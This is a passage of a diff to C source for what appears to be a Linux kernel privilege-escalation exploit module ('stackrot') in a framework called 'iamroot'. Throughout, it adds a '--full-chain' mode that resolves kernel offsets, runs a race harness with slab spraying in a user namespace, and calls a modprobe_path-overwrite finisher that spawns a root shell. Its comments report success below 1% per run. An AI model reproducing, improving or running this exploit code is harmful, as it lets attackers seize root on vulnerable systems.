atomic_store(&g_race_running, 0);
pthread_join(ta, NULL);
pthread_join(tb, NULL);
uint64_t a_iters = atomic_load(&g_race_a_iters);
uint64_t b_iters = atomic_load(&g_race_b_iters);
uint64_t b_faults = atomic_load(&g_race_b_faults);
fprintf(stderr, "[*] stackrot: arb_write: extended race A=%llu B=%llu B_faults=%llu "
"(reliability remains <1%% even at this budget)\n",
(unsigned long long)a_iters,
(unsigned long long)b_iters,
(unsigned long long)b_faults);
/* Step 3: cannot in-process verify the write. Return 0; the
* finisher's sentinel-file check is the empirical arbiter. */
return 0;
}
#endif /* __linux__ */
/* ---- Exploit driver ---------------------------------------------- */
@@ -506,8 +648,34 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
}
}
/* Full-chain pre-check: resolve offsets BEFORE forking + entering
* userns. If modprobe_path is unresolvable we refuse here rather
* than running a 30 s race that has no finisher to call. */
struct iamroot_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("stackrot");
fprintf(stderr, "[-] stackrot: --full-chain requested but modprobe_path "
"offset unresolved; refusing\n");
fprintf(stderr, "[i] stackrot: even with offsets, race-win reliability is "
"well below 1%% per run — see module header.\n");
return IAMROOT_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
full_chain_ready = true;
fprintf(stderr, "[i] stackrot: --full-chain ready — race budget extends to "
"%d s, but RELIABILITY REMAINS <1%% per run on a real\n"
" vulnerable kernel. The finisher's 3 s sentinel timeout\n"
" catches no-land outcomes gracefully.\n",
STACKROT_RACE_FULLCHAIN_BUDGET);
}
if (!ctx->json) {
fprintf(stderr, "[*] stackrot: forking exploit child (userns + race harness)\n");
fprintf(stderr, "[*] stackrot: forking exploit child (userns + race harness%s)\n",
ctx->full_chain ? " + full-chain finisher" : "");
}
uid_t outer_uid = getuid();
@@ -618,6 +786,39 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
* any in-flight RCU grace periods that started during the race. */
usleep(200 * 1000);
/* 7a. --full-chain finisher (FALLBACK depth).
*
* Invoke the shared modprobe_path finisher; its arb_write
* callback (stackrot_arb_write) will re-seed the spray with
* kaddr-tagged payloads and re-run the race for an extended
* 30 s budget. The finisher's own 3 s sentinel-file timeout
* then arbitrates: on the overwhelmingly common no-land
* outcome it returns EXPLOIT_FAIL gracefully.
*
* Honest reliability: <1 % per run even with the extension. */
if (full_chain_ready) {
struct stackrot_arb_ctx arb_ctx = {
.queues = queues,
.n_queues = STACKROT_SPRAY_QUEUES,
.arb_calls = 0,
.region = &region,
};
int fr = iamroot_finisher_modprobe_path(&off,
stackrot_arb_write,
&arb_ctx,
!ctx->no_shell);
FILE *fl = fopen("/tmp/iamroot-stackrot.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
fr, arb_ctx.arb_calls);
fclose(fl);
}
drain_anon_vma_slab(queues);
race_region_teardown(&region);
if (fr == IAMROOT_EXPLOIT_OK) _exit(34); /* root popped */
_exit(35); /* finisher ran, no land */
}
drain_anon_vma_slab(queues);
race_region_teardown(&region);
@@ -673,6 +874,27 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx)
int rc = WEXITSTATUS(status);
if (rc == 22 || rc == 24) return IAMROOT_PRECOND_FAIL;
if (rc == 23) return IAMROOT_EXPLOIT_FAIL;
if (rc == 34) {
/* Finisher reported root-pop success. The shared finisher
* normally execve()s the root shell so we don't actually
* reach this path unless --no-shell was set. */
if (!ctx->json) {
fprintf(stderr, "[+] stackrot: --full-chain finisher reported "
"EXPLOIT_OK (race won + write landed)\n");
}
return IAMROOT_EXPLOIT_OK;
}
if (rc == 35) {
/* Finisher ran but didn't land — by far the expected outcome
* given the <1 % race-win rate. */
if (!ctx->json) {
fprintf(stderr, "[~] stackrot: --full-chain finisher ran; race did not\n"
" win + land within budget (this is the expected\n"
" outcome — race-win reliability is <1%% per run).\n");
}
return IAMROOT_EXPLOIT_FAIL;
}
if (rc != 30) {
fprintf(stderr, "[-] stackrot: child failed at stage rc=%d\n", rc);
return IAMROOT_EXPLOIT_FAIL;